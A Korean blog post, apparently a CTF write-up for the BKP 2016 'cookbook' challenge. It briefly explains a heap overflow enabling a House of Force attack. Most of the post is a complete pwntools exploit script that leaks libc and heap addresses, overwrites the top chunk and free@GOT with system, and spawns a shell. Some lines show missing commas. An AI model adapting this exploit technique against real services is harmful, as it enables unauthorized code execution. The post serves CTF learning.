본문 바로가기

ctf

[BKP 2016 CTF] cookbook

# file cookbook

cookbook: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2397d3d3c3b98131022ddd98f30e702bd4b88230, stripped

[*] '/ctf/cookbook'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

NX, SSP 가 걸려있는 32bit 바이너리이다. 

 

0x084d0a0 영역에 1036byte 만큼 할당하는데 데이터를 dword_804d0a0 + 140 부터 입력을 받아 top chunk 를 덮어쓸 수 있다.

 

위에서 top chunk 를 덮을 수 있고, give() 함수에서 malloc 의 size 를 컨트롤 할 수 있어 House of Force 기법 사용이 가능하다.

단, ASLR 이 걸려있을 경우 top chunk 를 leak 해야 한다.

 

 

# exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *
import hexdump
 
 
def input_name(name):
 
        print p.recvuntil('what\'s your name?')
        p.sendline(str(name))
 
        print p.recvuntil('[q]uit\n')
 
 
 
 
def delete():
 
        p.sendline('c')
        print p.recvuntil('[q]uit\n')
 
        p.sendline('n')
        print p.recvuntil('[q]uit\n')
 
        p.sendline('g')
        p.sendline('B'*100)
 
        print p.recvuntil('[q]uit\n')
        p.sendline('d')
 
        print p.recvuntil('[q]uit\n')
        p.sendline('q')
 
 
 
 
def give(size, data):
 
        p.sendline('g')
        print p.recvuntil('how long is the name of your cookbook? (hex because you\'re both a chef and a hacker!) : ')
 
        p.sendline(str(size))
        p.sendline(str(data))
 
        print p.recvuntil('[q]uit\n')
 
 
 
def leak():
 
        p.sendline('c')
        print p.recvuntil('[q]uit\n')
 
        p.sendline('p')
        data = p.recvuntil('[q]uit\n')
 
        leaked = u32(data[22:26])
 
        p.sendline('q')
        print p.recvuntil('[q]uit\n')
 
        return leaked
 
 
 
def overwrite_topchunk(data):
 
        p.sendline('c')
        print p.recvuntil('[q]uit\n')
 
        p.sendline('g')
        p.sendline(str(data))
 
        print p.recvuntil('[q]uit\n')
 
        p.sendline('q')
        print p.recvuntil('[q]uit\n')
 
 
 
def overwrite_free(size, data):
 
        p.sendline('g')
        print p.recvuntil('how long is the name of your cookbook? (hex because you\'re both a chef and a hacker!) : ')
 
        malloc_size = format(size & 0xffffffff"08x")
 
        p.sendline(str(malloc_size))
        p.sendline(str(data))
 
        print p.recvuntil('[q]uit\n')
 
        raw_input('>')
 
        p.sendline('g')
        print p.recvuntil('how long is the name of your cookbook? (hex because you\'re both a chef and a hacker!) : ')
 
        p.sendline('256')
        p.sendline(p32(system_libc))
 
        print p.recvuntil('[q]uit\n')
 
        p.sendline('R')
        p.interactive()
 
 
if __name__ == '__main__' :
 
        elf = ELF('./cookbook')
 
        #p = process('./cookbook')
        p = remote('localhost'7778)
 
        input_name('/bin/sh\x00')
 
        delete()
 
 
 
        # leak heap && system_libc address
 
        give('40c''\x00'*120 + p32(elf.got['printf'])*2)
 
        system_libc = leak() - 0x49670 + 0x3ada0
 
        p.sendline('R')
        print p.recvuntil('[q]uit\n')
 
        give('40c''\x00'*120 + p32(0x0804d0a0)*2)
 
        heap = leak() - 0x12b0
        topchunk = heap + 0x16bc
 
        log.info('system_libc = ' + hex(system_libc))
        log.info('topchunk = ' + hex(topchunk))
        log.info('free@got = ' + hex(elf.got['free']))
 
 
        # overwrite topchunk -> 0xffffffff
 
        overwrite_topchunk('C'*896 + '\xff\xff\xff\xff')
 
 
 
        # overwrite free@got -> system_libc
        # free@got - &topchunk - 0x8(chunk header)
 
        malloc_size = elf.got['free'- topchunk - 0x8
        overwrite_free(malloc_size, 'AAAA')
 
 
cs

 

 

'ctf' 카테고리의 다른 글

[Codegate 2018 CTF] RedVelvet  (0) 2018.02.08
[Codegate 2018 CTF] BaskinRobins31  (0) 2018.02.08
[HUST 2017 CTF] pwnable writeup  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
[DEFCON 2017 CTF] smashme  (0) 2017.05.08